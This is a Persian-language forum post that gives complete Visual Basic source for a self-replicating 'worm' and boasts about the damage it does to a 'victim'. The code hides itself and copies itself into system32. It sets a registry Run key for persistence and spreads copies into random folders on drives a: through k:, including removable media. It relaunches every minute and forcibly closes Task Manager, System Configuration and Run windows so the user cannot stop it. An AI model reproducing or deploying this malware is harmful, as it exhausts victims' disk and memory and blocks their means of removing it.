نحوه عملکرد: این کرم در اولین اجرا شروع میکنه به ساختن پوشه در تموم درایو ها (حتی فلاپی و فلش مموری ها) و کپی کردن خودش توی اون پوشه ها و اجرا کردن اونا! البته خوکارم هست و یه سری برنامه که به کاربر بیچاره ممکنه کمکی بکنه رو هم بلافاصله میبنده!!

نتیجه: پر شدن فضای هارد - تعدد پوشه ها در درایو هاـ پر شدن فضای رم- در اومدن پدر قربانی

مواد مورد نیاز:(آدم یاد برنامه خانواده میفته!) ۱۸ تا timerـ   ۸ تا textbox

خب بریم سراغ کدا"

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type

Private Sub Form_Load()
On Error Resume Next
CopyFile App.Path & "\New Folder.exe", "C:\WINDOWS\system32\New Folder.exe", 0
Call Shell("C:\WINDOWS\system32\New Folder.exe")
App.TaskVisible = False
Me.Hide

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Timer1.Interval = 2000
Timer2.Interval = 1000
Timer3.Interval = 1000
Timer4.Interval = 1000
Timer5.Interval = 1000
Timer6.Interval = 1000
Timer7.Interval = 1000
Timer8.Interval = 1000
Timer9.Interval = 1000
Timer10.Interval = 700
Timer11.Interval = 700
Timer12.Interval = 700
Timer13.Interval = 700
Timer14.Interval = 400
Timer15.Interval = 400
Timer16.Interval = 1000
Timer17.Interval = 60000
Timer18.Interval = 1
End Sub

Private Sub Timer16_Timer()
On Error Resume Next
Dim Security As SECURITY_ATTRIBUTES
    Ret& = CreateDirectory(Text8.Text, Security)
CopyFile App.Path & "\New Folder.exe", Text8.Text + "\New Folder.exe", 0

End Sub
Private Sub Timer1_Timer()
Randomize Timer
Text1.Text = Int(Rnd * 10000) + "1"
End Sub

Private Sub Timer10_Timer()
Text6.Text = Text2
End Sub

Private Sub Timer11_Timer()
Text6.Text = Text3
End Sub

Private Sub Timer12_Timer()
Text7.Text = Text4
End Sub

Private Sub Timer13_Timer()
Text7.Text = Text5
End Sub

Private Sub Timer14_Timer()
Text8.Text = Text6
End Sub

Private Sub Timer15_Timer()
Text8.Text = Text7
End Sub

Private Sub Timer17_Timer()
On Error Resume Next
Call Shell(Text8.Text)
End Sub

Private Sub Timer18_Timer()
On Error Resume Next
Dim handel As Long
Dim hande2 As Long
Dim hande3 As Long
Dim hande4 As Long
handel = FindWindow(vbNullString, "system configuration utility")
hande2 = FindWindow(vbNullString, "WINDOWS TASK MANAGER")
hande3 = FindWindow(vbNullString, "system32")
hande4 = FindWindow(vbNullString, "run")

If handel <> 0 Then
SetForegroundWindow handel
SendKeys "%{f4}", 1
End If

If hande2 <> 0 Then
SetForegroundWindow hande2
SendKeys "%{f4}", 1

End If

If hande3 <> 0 Then
SetForegroundWindow hande3
SendKeys "%{f4}", 1

End If

If hande4 <> 0 Then
SetForegroundWindow hande4
SendKeys "%{f4}", 1

End If

End Sub

Private Sub Timer2_Timer()
Text2.Text = "c:\" + Text1.Text
End Sub

Private Sub Timer3_Timer()
Text3.Text = "e:\" + Text1.Text
End Sub

Private Sub Timer4_Timer()
Text4.Text = "g:\" + Text1.Text
End Sub

Private Sub Timer5_Timer()
Text3.Text = "f:\" + Text1.Text
End Sub

Private Sub Timer6_Timer()
Text2.Text = "d:\" + Text1.Text
End Sub

Private Sub Timer7_Timer()
Text4.Text = "h:\" + Text1.Text
End Sub

Private Sub Timer8_Timer()
Text5.Text = "k:\" + Text1.Text
End Sub

Private Sub Timer9_Timer()
Text5.Text = "a:\" + Text1.Text
End Sub

***-----------------------------------------------------------------------------------------------*****

دوستان الان که من دارم این پست رو واستون میتایپم ساعت ۶ صبحه.دیگه کم کم دارم کیبورد رو ۲ تا میبینم

نتیجه اخلاقی: توضیحات بمونه واسه بعد

بای بای